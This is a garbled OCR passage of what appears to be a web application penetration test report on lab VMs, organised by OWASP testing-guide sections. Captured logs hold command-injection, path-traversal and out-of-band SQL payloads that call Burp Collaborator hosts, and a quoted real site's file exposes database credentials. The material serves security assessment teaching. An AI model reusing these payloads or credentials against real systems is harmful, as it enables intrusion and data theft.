&) 20171108_NTjapan_M... 52TKB  Microsoft Excel W.. 1
120171108 _Template_ ... 29KE OpenDocumentT... 1
@Assessment_slxlsx 3535 KB Microsoft Excel W... 1
) CyberSecurityFullSolu... 224 KB Microsoft Excel W.. 1
EH demofilexdsx MeKBE Microsoft Excel W.. 1
& final retestadsx 33KB  Microsoft Excel W... G
@I_]f\laslﬂTech_C‘vur _Manbh... IT2KB  Microsoft Word 9., 1
E NTjapan_MashTech_S... 161 KB Microsoft Excel W.. 1
v
< > £ >
0Bof 1.7/ MBin 0 of 12 Shidden 0B of0Bin0of1 S hidden
FTP 0:00:09

Access via SSH

root@ilak:~# ssh 192.168.222.151 -1 msfadmin

msfadmin@192.168.222.151's password:
'Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu. com/
No mail.

Last login: Sun Feb 4 08:37:36 2018 _
2 z f xss fr r
'msfadmin@metasploitable:~$ ' beches Damewoik

Determine if administrative interfaces are available from an internal network or are also available
from the internet. If available from the internet, determine the mechanismsotiiatl access to
these interface and their associated susceptibilities.

With insecure protocol like ftp, telnet or http basic authentication, easy to sniff administrator
password with Wireshark
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13 28.225579881 192.168.222.151 192.168.222.1 TCP 66 21 ~ 61961 [SYN, ACK] Seq=0 Ack=1 Win=5848 Len=0 MS5=1460
14 28.225693023 192.168.222.1 192.168.222.151 TCP 60 61961 — 21 [ACK] Seq=1 Ack=1 Win=65536 Len=@

15 28.226876721 192.168.222.151 192.168.222.1 FTP 74 Response: 220 (vsFTPd 2.3.4)

16 28.227093458 192.168.222.1 192.168.222.151 FTP 69 Request: USER msfadmin

17 28.227148746 192.168.222.151 192.168.222.1 TCP 60 21 — 61961 [ACK] Seq=21 Ack=16 Win=5856 Len=0

18 28.227150210 192.168.222.151 192.168.222.1 FTP 88 Response: 331 Please specify the password.

Worse, WebDAV dondt r eque s enttoisentifying soehackencdn p a s s w
upload any malicious files him want.

Local Mark Files Commands Session Options Remote Help
[ 55 3 Synchronize 2 & (| EP Queue - Transfer Settings Default - -
& 192.168.222.151 I Mew Session

] Desktop - ﬁj 4= - ] v QEE fe= 'ﬂ GJEE ?

> [] ** *» »
E ? x

C\Users\rnan e

MName Q Can't open file 'Ch\Users\manhpham'\Desktop'.c39.php'. Size Changed

s Cross Site

E CyberSecy

:det' System Error. Code: 225

e GiCHORAry Operation did not complete successfully because the file contains a b

&| goat.html virus or potentially unwanted software

Manhl:'har

s mitea_lgki |

&| mutillidae |

Mew Text [ . .
[Evdis [ Abort || Remy Skip Skip all Help
| note for santoku. bt 1KEB Text Document 1 |

2| phpvulnweb.html 291KB HTML File 2

e SOL Injection Attacks ...  6575KB PDFFile 1

ﬁTinyTake by MangoA... 2KB Shortcut 1w i
£ > £ >
0B of 59.3 MB in 0 of 19 1hidden 0Bof0Bin0ofD
I WebDAV 0:02:54
Recommend using Secure protocol such as: FTPs,

Change default user & password

Warning: Never expose this UM to an untrusted network?
Contact: msfdevlatImetasploit.con

Login with msfadminsnsfadnin to get started

metasploitable login: msfadmin

Password:

Last login: Sun Feb 4 09:40:33 EST 2018 from 192.168.Z222.148 on pts-1

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i6B6

The programs included with the Ubuntu system are free software:
the exact distribution terms for each program are described in the
individual files in ~susrsshare-doc/=/copyright.

Ubuntu comes with ABSOLUTELY NO UARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http:--help.ubuntu.comns

No mail.

nsfadnin@metasploitable: ™9 _
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2. Test Application Platform Configuration

Configuration review and testing iatical task, while the typical web and application server installation
will spot a lot of function (like application examples, documentation, test pages), what is not essential
should be removed before deployment to avoid post install exploitation.

Black Box Testing and Example
Sample/known Files and Directory

Many web servers and application servers provide, in a default installation, sample applications and files
that are provided for the benefit of the developer and in order to test that the seredking properly
right after installation.

However, many default web server applications have been later known to be vulnerable or information
disclosure.

Example:
I Wordpress version show in readme

@ 192.168.222.136/wordpress/rea

B

WordPress

Version 2.0

]

Semantic Personal Publishing Platform

9 Brute force attack / Denial of Service attack in Wordpréss x ml r pc . php

[_"j WordPress - ReadMe Ol @) 192.168.222.136/wordpress/xm X

&« c @ (@ 192.168.222.136/wordpress/xmlirpc.php

XML-RPC server accepts POST requests only.
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March 1, 2018

Target: hitp:/192.168.222.136 LPJ ?
Request Response
Raw | Params | Headers | Hex | XML Raw | Headers | Hex | XML
POST /wordpre. a HTTP/1.1 200 OK ]
Host: 192168 r Date: Tue, 06 Feb 2018 03:57:40 GHT r
User-Agent: curl/7.47.0 Server: Apache/2.2.14 (Ubuntu) mod memo/2. 4.3 PHP/S.3.2-lubuntud. 30 with Suhosin-Patch proxy_heml/3.0.1
Accept: /% nod_python/3.3.1 Python/2.8.5 mod_ssl/2.2.14 OpenSEL/0.5 Bk Phusion Passenger/4.0.35 mod_perl/2.0.4
Content-Length: 226 Perl/vE.10.1
®-Powered-By: PHP/5.3.2-lubuntud.30
<7xml version="1.0" encoding="iso-8855-1"2> Connection: close
<methodCall> Content-Length: 166
_sayHellos/, Vary: Aecept-Encoding
<params> Contenc-Type: text/xml
<param»<value»</value></param>
<param»<value»</value></param> <?xnl version="1.0"2»
</params> <nethodResponse>
</methodCall> <params»
<param»
<values
<string-Hello! </string»
</valuer
</param>
</params»
</methodResponse>
| e | Target: hitpi/192.168.222.136 |#| | 7 |
Request Response
Raw | Params | Headers | Hex [ XML Raw | Headers | Hex | XML
FOST /wordpre Lrpe.php HITF/L.L Iy HITF/1.1 200 0K Iy
Host: 136 r Date: Tue, 06 Feb 2018 04:05:13 GHT .
User-Agent: curl/7.47.0 Server: Apache/2.2.14 (Ubuntu) mod_meno/2.4.3 FHF/S.3.2-lubuntu4.30 with Suhosin-Fatch proxy_htmls3.0.1
Accept: */* nod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perls2.0.4
Cont ent -Length: Perl/vs.10.1
X-Powersd-By: PHP/S5.3.2-lubuntud.30
<2xml version="1.0" encoding="iso-8859-1"7> Connection: close
<methadCalls Content-Length: 422
<methodiameswp. getUsersBlogs</methodlames Vary: hecept-Encoding
<params> Content-Type: texe/zml
<param> cvalues aduin</valuss </params
<param> <values admin</valuss </params <?xnl version="1.0"7>
</params> <nethodResponses
</methadCalls <fanles
<ralues
<struces
<member>
“<name>faultCode</name>
<valuer<int>-32601</int></valuer
</member>
<members
“<name>faultString</name>
<vall g error. method wp._get does mot esist.</strings</value>
</member>
</seruces
</valuer
</ fanler
</methodResponse»
L L
v v

More information at:
https://isc.sans.edu/diary/Wordpress+%22Pingback%22+DDoS+Attacks/17801
https://hackerone.com/reports/96294
https://github.com/1N3/WordpreséVILRPC-Brute-Force Exploit/blob/master/wordpress
xmirpc-brutev2.py
https://testpurposes.net/2016/11/01/wordpreabpc-bruteforce-attacksvia-burpsuite/

Comment on source code review

It is very common and even recommended

<!-— I think the database passveord 15 s=t to klank or perhaps Samural.
It depends on whether vou i1nstalled this web spp from l1rongssks site or
are using 1t inside Kevin Johnsons Samural web testing framewvork.
It i1s ok to put the passvord in HTML commsnts becsuss no ussr will =sver sse
this comment. I remember that ssecurity instructor saving we should usse the
framevork comment symbels (ASP.NET, JAVA, PHP, Etc.)
rather than HTML comments, but we all know those
security instructors are just msking all this up. --> <!-- End Content

</blockouote>
</ td>
</tr>

24



https://isc.sans.edu/diary/Wordpress+%22Pingback%22+DDoS+Attacks/17801
https://hackerone.com/reports/96294
https://github.com/1N3/Wordpress-XMLRPC-Brute-Force-Exploit/blob/master/wordpress-xmlrpc-brute-v2.py
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Configuration review
Some common guidelines should be taken into account:

1 Only enable server modules that are needed for application.
1 Handle server errors code with customade pages.
1 Make sure server software runs with minimize privileges irogexating system.

/

Searfwnwy dvwa/
Marme S5ize  Changed Rights Chwner
. 5/21/2012 2:31:37 AM PWRT-Xr X www-data
vulnerabilities 5/21/2012 2:22:36 AM PWRT-XT-X www-data
hackable 572172012 2:22:36 AM PWXF-XF-X www-data
external 5/21/2012 2:22:36 AM PWET-XT-X www-data
dvwa 5/21/2012 2:22:36 AM PWT-XT-X www-data
docs 3/21/2012 2:22:36 AM PWHT-XT-X www-data
config 572172012 2:23:35 AM PWXF-XT-X www-data
mj setup.php 2KB &/7/2010 10:58:00 AM PW-r--r-- www-data
Mj security.php KB 3/16/2010 12:56:22 PM rw-r--r-- www-data
=] robots.bd 1KE  3/16/2010 12:56:22 PM PW-F--F-- www-data
|=| README tet 5KB  3/116/2010 12:56:22 PM PW-F--r-- www-data
Mjphpinfn.php 1EE  3/16/2010 12:56:22 PM rw-r--r-- www-data
2| php.ini 1KB 7/6/2009 3:31:50 AM PW-r---- www-data
Mj logout.php 1KB  316/2010 12:56:22 PM PW-r--r-- www-data
mjlngin.php KB 572172012 2:52:33 AM nW=-r=--f-- www-data
mj instructions.php 2KB  3/16/2010 12:56:22 PM PW-r--r-- www-data
Mj index.php 2KB  5/21/2012 2:51:49 AM rw-r--r-- www-data
Mjids_lu:ug.php 1KE  3/16/2010 12:56:22 PM PW-F--F-- www-data
| |favicon.ico 2KB  9/6/2010 10:5%:42 PM PW-r--r-- www-data
=] COPYING et 33KB  3/16/2010 12:56:22 PM PW-r--r-- www-data
=] CHANGELOG et 5KB  &/7/2010 7:55:14 AM PW-r--T-- www-data
Mjabnut.php IKE  8/26/2010 111516 PM PW-r--r-- www-data

1 Make sure the server software logs properly both legitimate access and errors.
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Svarflog/apachedf

Mame Size  Changed Rights Owner
. 2/5/2018 3:30:12 PM PWEHE-XF-X root
| | errorlog.10.gz 1KB 5/21/2012 12:45:08 PM PW-F--F-- root
| | errorlog.8.gz 1KE  9/21/2017 5:47:26 PM PW-r----- root
| | errorlog.B.gz 1KB  10/10/2017 5:38:20 PM rw-F----- root
| | errorlog.7.gz 1TKE  10/20/2017 3:26:14 PM PW-F----- root
| | errorlog.fugz 1TKE  11/14/2017 6:31:36 PM PW-r----- roct
| | errorlog.3.gz 1KB  11/2272017 £:53:33 PM PW=F-==== root
| | errorlogd.gz 1KE  12/4/2017 £:32:14 PM PW-r----- root
| | errorlog.3.gz TKE 127112017 6:54:45 PM rW-F----- root
| | errorlog.2.gz 1KB 12/2272017 £:2%:40 PM PW-F----- root
| | errorlog.d 1TKE  1/17/2018 £:42:56 PM PW-r----- root
errordog! 86KB  2/5/2018 3:30:42 PM rw-r----- root
| | accesslog.7.gz 5KB  921/2017 5:47:26 PM PW-r--r-- root
| | accesslogbgz IKE  10/10/2017 3:38:20 PM PW-r----- roct
| | access.log.5.gz 2KB 10/20/2017 5:26:14 PM PW=F-==== root
| | accesslogd.gz 2KB  11/22/2017 £:53:33 PM PW-r----- root
| | accesslog3.gz 2KB  12/472017 83214 PM rW-F----- root
| | access.log.2.gz 2KB 1272272017 £:2%:40 PM PW-F----- root
| | access.log.1 BKE  1/17/2018 £:42:56 PM PW-r----- root
=] access.log 2M KB 2/4/2013 10:00:32 PM rw-F----- root

1 Make sure that the server is configured to properly handle overloads and prevent Denial of
Service attacks.

Logging

Logging is an important asset of thewety of an application architecture, since it can be used to detect
flaws in application, logs are typically properly generated by web and server software.
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Mvar/log/

Marne a Size  Changed Rights Owner

£ 5/21/2012 4:30:19 AM PWXT-XT-X root
apachel 2/5/2018 6:34:52 PM PWT-X--- root
apparmaor 4782008 4:3%:29 AM PWHF-Xr-X root
apt 0/21/2017 5:4T:26 PM FWXF-XF-X root
dist-upgrade /2272008 1:07:31 PM PWT-XT-X root
fsck 317/2010 5:59:33 AM PWET-XT-X root
installer 317/2010 £:15:03 AM PWT-XT-X root
mysq| 31772010 9:0%:40 PM PWr-5--- mysgl
news 31772000 6:15:50 AM PWXT-5T-X news
postgresql 2/5/2018 6:34:52 PM rwscnar-t root
proftpd 4728720010 1:26:44 PM PWHF-Xr-X root
samba 2/5/2018 6:34:52 PM PWT-X--- root
tomcat3.5 127872008 2:17:20 AM PWXF-X--- tomcat33

=] auth.log 104 KB 2/5/2018 £:51:03 PM rw-r--r-- syslog

|| boot OKB 5212012 12:45:08 PM PW-r---- root

| | btmp OKB 2/5/2018 G:34:32 PM - Pw-T-- root

| | btmp.1 OKE 11772013 &:42:56 PM W= FW=r=- root

|=| daemon.log 546 KB 2/5/2018 £:45:36 PM PW-r--r-- syslog

Sensitive information in logs

Some applications might, for example use GET requests to foraarddata which will be viewable in

the server logs. This means that server logs might contain sensitive information (such as usernames as
passwords, or bank account details). This sensitive information can be misused by an attacker if logs were
to be obtaied by an attacker, for example, through administrative interfaces or known web server
vulnerabilities or misconfiguration (like the wédhown serveistatus misconfiguration in Apaciased

HTTP servers).

Log Location

Try to keep logs in a separate d&ion, and not in the web server itself. This also makes it easier to
aggregate logs from different sources that refer to the same application (such as those of a web server
farm) and it also makes it easier to do log analysis (which can be CPU intemsha)t affecting the

server itself.

Log Storage

In UNIX systems, logs will be located in /var (although some server installations might reside in /opt or
/usr/local) and it is thus important to make sure that the directories that contain logs are arate sep
partition. In some cases, and in order to prevent the system logs from being affected, the log directory of
the server software itself (such as /var/log/apache in the Apache web server) should be stored in a
dedicated patrtition.

Log rotation
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Most severs (but few custom applications) will rotate logs in order to prevent them from filling up the
file system they reside on. The assumption when rotating logs is that the information in them is only

necessary for a limited amount of time.

This feature Bould be tested in order to ensure that:

T
1

Logs are kept for the time defined in the security policy, not more and not less.

Logs are compressed once rotated (this is a convenience, since it will mean that more logs will be

stored for the same availaldesk space)

File system permission of rotated log files are the same (or stricter) that those of the log files
need

i tself For exampl e, web servers wild/l
need to write to rotated logs, which meang tha permissions of the files can be changed upon
rotation to prevent the web server process from modifying these.

t

Some servers might rotate logs when they reach a given size. If this happens, it must be ensured that an
attacker cannot force logs to atet in order to hide its tracks.

Log contents

=A =4 =4 4 -8 -8 4

Mon Mar @5 ©8:18:21 2018]

{[Mon Mar @5 88:10:21 2018]

Mon Mar @5 ©8:18:21 2018]

|[Mon Mar @5 e@:18:21 2018]

[

[

[

[

[Mon Mar @5 @@:18:21 20818]
[Mon Mar @5 @@:18:21 20818]
[Mon Mar @5 @@:18:21 20818]
[Mon Mar @5 @@:18:21 20818]
[Mon Mar @5 ©0:18:21 2818]
[Mon Mar @5 ©8:18:21 2018]
[Mon Mar @5 ©8:18:21 2018]
[Mon Mar @5 ©8:18:21 2018]
[Mon Mar @5 ©8:18:21 2018]
[Mon Mar @5 ©8:18:21 2018]
[Mon Mar @5 @@:18:21 20818]
[Mon Mar @5 @@:18:21 20818]
[Mon Mar @5 @@:18:21 20818]
[Mon Mar @5 @@:18:21 20818]
[Mon Mar @5 ©0:18:21 2818]
[Mon Mar @5 ©8:18:21 2018]
[Mon Mar @5 ©8:18:21 2018]
[Mon Mar @5 ©8:18:21 2018]
[Mon Mar @5 88:18:21 20818]
[Mon Mar @5 898:18:21 2018]

B e ¥ | Encoding -

[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]
[error]

[errorl

[If fvar/log/apache2/error.lag - root@192.168.222.136 - Editor - WinSCP

Blese xa|2

[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]
[client 192.168.222.1]

Color~ &3 | @

File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:
File does not exist:

Do the logs contain sensitive information?

Are the logs stored in a dedicated server?

Can log usage generate a Denial of Service condition?
How are log backups preserved?
Is the data being logged data validated (min/max length, chars etc) prior to being logged?
How are logs reviewed? Can admin use these review to detect targeted attack?

How are they rotated ? are logs kept for the sufficient time?

Jvar /v /bWAPP finsecure_direct_object_ref_1.php'+sleep(2@.to_i)+', referer: http:~
Jvar /v /bWAPP finsecure_direct_object_ref_1.php’+eval(compile('for x in range(1)
Jvar fvnna/bWAPP feval (compile("for x in range(1):\\n import time\\n time.sleep(20@)
Jvar /v /bWAPP finsecure_direct_object_ref_1.php'.sleep(2@).", referer: http://19
Jvar v /DWAPP finsecure_direct_object_ref_1.php{${sleep(28)}}, referer: http://1¢
/var v /bUAPP /r88km3vuy@4919nruc@luxqfabgwdosfk2aqz . burpcollaborator.net, refere
Svar v /bUWAPP /http:, referer: http://192.168.222.136/bWAPP/portal.php

Jvar fui/BWAPP/insecure_direct_object_ref_1.php|nslookup -q=cname zcfsqbz2288h5h
Jvar /v /bUAPP/insecure_direct_object_ref_1.php'" B&nslookup -g=cname mdrfiyrpuvi
Jvar /v /bWAPP/insecure_direct_object_ref_1.php&nslookup -g=cname 5agyohx8@eén3n
Jvar/wwi/bWAPP/insecure_direct_object_ref_1.php|echo 88gtq33315 cx808dj43pal|a #°
Jvar/wn/bWAPP/insecure_direct_object_ref_1.php&echo hyeikmaavo 209nguBtnr&, ref
Jvar/wwi/bWAPP/insecure_direct_object_ref_1.php"|echo 93hsbxp295 uwuslgz3ng ||, 1
Jvar/wwi/bWAPP/insecure_direct_object_ref_1.php’|echo cr3gb4juux pxodjasmdd #xzw
Jvar funi/BWAPP/insecure_direct_object_ref_1.php|ping -n 21 127.8.8.1|| ping -c 2!
Jvar fui/bWAPP/insecure_direct_object_ref_1.php|ping -c¢ 21 127.8.8.1||x, referer
/var v /bUAPP /insecure_direct_object_ref_1.php&ping -n 21 127.8.0.1&, referer: |
Jvar funi/BWAPP/insecure_direct_object_ref_1.php'|ping -c 21 127.8.8.1 #, referer
/var /v /bWAPP /insecure_direct_object_ref_1.php"|ping -n 21 127.8.08.1 ||, refere
Avar e fBWAPP /LN NN NV O O OOV NV VNG NV e
Jvar S /bWAPP/ ¢ s \\windows\\win.ini, referer: http://192.168.222.136/bWAPP/porta

script " /var/wai/bWAPP/insecure_direct_object ref 1.php..\N\. 000 OO VULV VL L ANLLY

Invalid URI in request GET /BWAPP/../../../ .. .. 0 ../ .. 0. 0.0 .. /.. /.. /.. /.. /..[/../etc/passwd HTTP/1.1
File does not exist:

AL /v /DWAPP fetc, referer: hittp://192.168.222.136/bWAPP/portal.php

[ marflog/authleg - root@192.168.222,136 - Editor - WinSCP

EHEE S e
4 28:84:52 owaspbwa CRON[6889]: pam_unix{cron:session):

ﬁ egﬂ #=| | Encoding -

Color = {E} 0

session closed for user root
session opened for user root by (uid=0)
session closed for user root
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[ fverflog/modsec_auditlog - root@192.168.222.136 - Editor - WinSCP - a x
[= & XE 9 B8 & [ & | Encoding v [ Color~ & @
Response-Body-Transformed: Dechunked ~

Producer: ModSecurity for Apache/2.7.4 (http://www.modsecurity.org/).
Server: fApache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/5.3.2-lubuntu4.38 with Suhosin-Patch proxy_html/3.8.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 Open
Engine-Mode: "DETECTION_OMLY"

--f2e35b57-Z--

--f2e35b57-A--

[@1/Feb/2@18:23:0@:59 --0580] WnPie3BAAQEAAAgZSOUAAAAT 192.168.222.1 51346 192.168.222.136 80
--f2e35b57-B--

POST /WebGoat/(select%28load_file( %5c%5c%5ck5cisebssfkvf8hanff7g7d4ghuklqcm@d21ttgj48.burpcollaborator. net%5ck5csfu’)) ?Screen=758menu=908 HTTP/1.1
Host: 192.168.222.136

Accept-Encoding: gzip, deflate

Accept: =/*

Accept-Language: en

User-Agent: Mozilla/5.@ (compatible; MSIE 9.8; Windows NT 6.1; Win64; x64; Trident/5.8)
Connection: close

Referer: http://192.168.222.136/WebGoat/attack?Screen=75&menu=960

Content-Type: application/x-www-form-urlencoded

Content-Length: 81

oL e T-Hl 1 SESSTONID=687D351CE@E629CELCF5BAFA8BA3ASBA; acgroupswithpersist=nada; user="eW91YX11dGhld2Vha2VzdGxpbms="]

; unique2u=KbziVziTXvdUNFSGGtIQYCrsvZIQ

--f2e35b57-C--
field1=111&QTY4=1&QTY2=18QTY3=1&SUBMIT=Purchase&(TY1=1&field2=4128+3214+0002+1999
--f2e35b57-F--

HTTP/1.1 482 Bad Request

Content-Length: @

Via: 1.1 127.@.1.1

C(unnectiun: close

Line: 53471/564758 Column: 115 Character: 59 (0x3B) Encoding: 1252 (ANSI - La

3. Test File ExtensionsHandling for Sensitive Information

File extensions are commonly used in web servers to easily determine which technologies / languages /
plugins must be used to fulfill the web request.

Black box testing:

Submit http[s] requests involving different filextensions and verify how they are handled. These
verifications should be on a per web directory basis.

The following file extensions should NEVER be returned by a web server, since they are related to files
which may contain sensitive information, orfiles for which there is no reason to be served.

M .asa
M1 .inc

Using google hack, easy to find them, such as:

1 ext:asa inurl:www.maybole.org
C | @ Secure | hitps//www.maybole.org/global.asa

<SCRIPT LAMGUAGE=VBScript RUNAT=Server:
Sub Application_OnStart
'==FrontPage Generated - startspan==
Dim FrontPage_Urlvars(l)
'--Project Data Connection
Application("Databasel ConnectionString™) = "DRIVER={Microsoft Access Driver (*.mdb
FrontPage_UrlVars(@) = "Databasel ConnectionString™
Application("Databasel ConnectionTimeout™) = 15
Application("Databasel CommandTimeout”

;DBQ=URL=cgi-bin/database/postcards . mdb;UID=maybole; PiD=eamg™

Application("Databasel CursorLocation”
Application(”Databasel RuntimelserName
Application(”Databasel RuntimePassword™

The following file extensions are related to files which, when accessed, are either displayed or
downloaded by therowser. Therefore, files with these extensions must be checked to verify that they are
indeed supposed to be served (and are not leftovers), and that they do not contain sensitive information.
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1
T
T
1
1
T

.zip, .tar, .gz, .tgz, .rar, .... (Compressed) archive files
.Jjava: No reason to provide access to Java source files
Ixt: Text files

.pdf: PDF documents

.doc, .rtf, .xIs, .ppt, ...: Office documents

.bak, .old and other extensions indicative of backup files (for example: ~ for Emacs backup files)

For more information, access to this lithiktp:/filext.com/

We can mix some below techniques for solving this problem:

1 Vulnerability scanner
root@ilak:~# nikto -h 192.168.194.154

+ + + + + o+t F o+t

Nikto v2.1.6

Target IP: 192.168.194.154

Target Hostname: 192.168.194.154

Target Port: 80

Start Time: 2018-02-87 13:26:35 (GMT7)

Server: Apache/2.2.15 (Cent0S)
Cookie PHPSESSID created without the httponly flag
The anti-clickjacking X-Frame-Options header is not present.

The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some form
Uncommon header 'link' found, with contents: <http://192.168.194.154/>; rel=shortlink

The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site
Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.12). Apache 2.8.65 (final release) and 2.2
Server leaks inodes via ETags, header found with file /wp-content/themes/nashtechvn/assets/images/favicon.ico,
Web Server returns a valid response with junk HTTP methods, this may cause false positives.

OSVDB-877: HTTP TRACE method is active, suggesting the host is wvulnerable to XST
Uncommon header 'x-robots-tag' found, with contents: noindex, follow
0SVDB-3@92: /sitemap.xml: This gives a nice listing of the site content.

0SVDB-12184: /?=PHPBBBS5F2AB-3C92-11d3-A3A9-4C7B08C100808: PHP reveals potentially sensitive information via cert
OSVDB-12184: /?=PHPES568F34-D428-11d2-A769-0BAAOB1ACFA2: PHP reveals potentially sensitive information via cert
0SVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACFA2: PHP reveals potentially sensitive information via cert

0SVDB-3@892: /clients/: This might be interesting...
0SVDB-36892: /job/: This might be interesting...

0SVDB-3892: /phpmyadmin/Changelog: phpMyAdmin is for managing MySQL databases, and should be protected or limit

0SVDB-3268: /icons/: Directory indexing found.

0SVDB-6694: /.DS Store: Apache on Mac 0SX will serve the .DS Store file, which contains sensitive information.

Hosts | 1 Vulnerabilities 23 History 1

Apple Mac OS X Find-By-Content .DS_Store Web Directory Listing

Description

It is possible to read a .DS_Store' file on the remote web server.

This file is created by MacOS X Finder; it is used to remember the icons position on the desktop, among other things. and contains
the list of files and directories present in the remote directory.

Mote that deleted files may still be present in this .DS_Store file.

Solution

- Configure your web server so as to prevent the download of .DS_Store files
- Mac OS X users should configure their workstation to disable the creation of .DS_Store files on network shares.

1 Spider tools
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Plugin Details

Severity: Medium

1D: 10756

Version $Revision: 1.27 §
Type: remote

Family: Web Servers
Published September 14, 2001
Modified: June 12, 2017

Risk Information

Risk Factor: Medium


http://filext.com/

[WEB APPLICATIGMENETRATION TEST]

March 1, 2018

—et 2

Mirroring tools

http://192.168.222 136 | | Host
[ hitps./lactivity-stream-icons. se hitpel192.168.222.136/
» 8 hitps:s i
https.uaddnns.u:dn._muzllla.net Add to scope
» 1 hitps:iaddons mozilla.org e
o . er this hos
> 17 niipajex googieapis.con A
» 4 hitps:/ajax.googleapis.com Actively scan this host
[ hitp=s./lapi.w.org Passively scan this host
T o -
. ,.I—_ r : Contents
ajax
|: capture-data php Host Method URL Params | Status 1.| Length |
» 2 database-offiine php hitp:/192.168.222.136 GET imutilidae/documentation... 200 1607529
¥ [~ documentation
mutilidae-installation-on-xampp-win7. pdf
D framer.html
¥ [T includes
> SE: pop-up-help-context-generator.php
D set-up-database.php
> 55‘2) index.php
» [0 javascript
[ rene-magritte.php
[ set-up-databaze.php
- ( L
> 55‘3 styling.php —
v .
e reors
» SE: Wa-User-account. php Raw | Headers | Hex
s soap Iy —
|: oneliner_intro.php HITR/1.1 200 OK -
- Date: Fri, 09 Feb 2018 08:34:30 GMT
[ orangehrm Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHE/S.3.Z2-lubuntud. 30
» [0 orangehrm with Suhosin-Patch proxy html/3.0.1 mod python/3.3.1 Python/Z. 6.5
_ P
[0 owaspbricks mod_ss1/2.7.14 OpenS5L/0.9.8k Phusion_Passenger/4.0.38
» [0 owaspbricks mod_perl/2. 0.4 Perl/w5.10.1
D peruggia Last-Modified: Fri, 27 Sep Z013 0I2:47:08 GHT
e[ peruggia ETag: "Eed07-1885a4-4e754805%=c200"
D hoBB2 Accept-Ranges: bytes
- PP - Content-Length: 1E0707&
» FhFBBé Connection: close
> E; railzgoat Content-Type: application/pdf
redming
» [ shepherd $PDF-1.5
[ tikiwiki o
» [0 tikiwiki 10 k]
D vienum <</Type/Catalog/Pages Z 0 R/langien-US) /StructTreceRoot &8 0 L
X E/MarkInfo<</Marked true=>>»=>
» [0 vicnum v

root@ilak:~/Desktop# httrack http://192.168.222.151/mutillidae/ --mirrorlinks -0 dir/

WARNING! You are running this program as root!
It might be a good idea to run as a different user

Mirror launched on Fri, 09 Feb 2018 16:13:21 by HTTrack Website Copier/3.49-2 [XR&CO0'2014]

mirroring http://192.168.222.151/mutillidae/ with the wizard help..

* https://www.owasp.org/load.php?debug=false&lang=en&modules=ext.visualEditor.desktopArticleTarget.noscript%7Cmediawiki.legacy.commonPrint%2Cshared%7C
~Chttps://www.owasp.org/index.php/Testing for CSRF_(OWASP-SM-005) (40264 bytes) - 0K

*+ Finishing pending transfers.. press again “C to quit.

117/248: https://www.owasp.org/load.php?debug=false&lang &modules=ext.visualEditor.desktopArticleTarget.noscript%7Cmediawiki.legacy.commonPrint%2Csh
218/248: https://www.owasp.org/index.php?title=Special:UserLogin&returnto=Top+10+2010-A3-Broken+Authentication+and+Session+Management (15645 bytes) -

Done.48: www.php.net/ (0 bytes) - -1
Thanks for using HTTrack
root@ilak:~/Desktop# ls dir/

192.168.222.151/ en.wikipedia.org/ index.html www.eclipse.org/ www.php.net/
addons.mozilla.org/ fade.gif samurai.inguardians.com/ www.hackersforcharity.org/ www.quest.com/
backblue.gif hts-cache/ twitter.com/ www.irongeek.com/ www. youtube. com/
cookies.txt hts-log.txt www.backtrack-linux.org/ www.owasp.org/

root@ilak:~/Desktop# ls dir/192.168.222.151/mutillidae/

documentation/ index06b3.html index4698.html index82c7-2.html indexb64e-2.html indexdef7-2.html
favicon.ico index0f44.html index4cff.html index82c7.html indexb64e.html indexdef7.html
framer.html index1568.html index5696-2.html index8399.html indexb9df.html indexed39.html
function.html index267b.html index5096.html index8a28.html indexbfe9.html indexfcd4.html
http.html index21e4-2.html index578b.html index90a7.html indexc313.html javascript/
images/ index21le4.html index5d66-2.html index926a.html indexca72.html set-up-database.html
index-2.html index26f1.html index5d66.html index935e.html indexdbaf-2.html source-viewer.html
index.html index2e7e.html index67f4.html index9a31.html indexdbaf.html styles/
index0136.html index3626.html index73ed.html indexa901.html indexdd56.html user-info.html
index0145.html index3ab6.html index7cbf.html indexb356-2.html indexde®5-2.html user-poll.html
index@58b.html index4623.html index7f@@.html indexb356.html indexde®5.html

root@ilak:~/Desktop# ls dir/192.168.222.151/mutillidae/

Manual access
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Gray box testing

Performng white box testing against file extensions handling amounts to checking the configurations of
web server(s) / application server(s) taking part in the web application architecture, and verifying how
they are instructed to serve different file extensidhshe web application relies on a lehdlanced,
heterogeneous infrastructure, determine whether this may introduce different behaviour.

4. Review Old, Backup and Unreferenced Files for Sensitive Information

While most of the files within a web server are directly handled by the server itself it isn't uncommon to
find unreferenced and/or forgotten files that can be used to obtain important information about either the

infrastructure or the credentials. Mostmmmon scenarios include the presence of renamed old version of
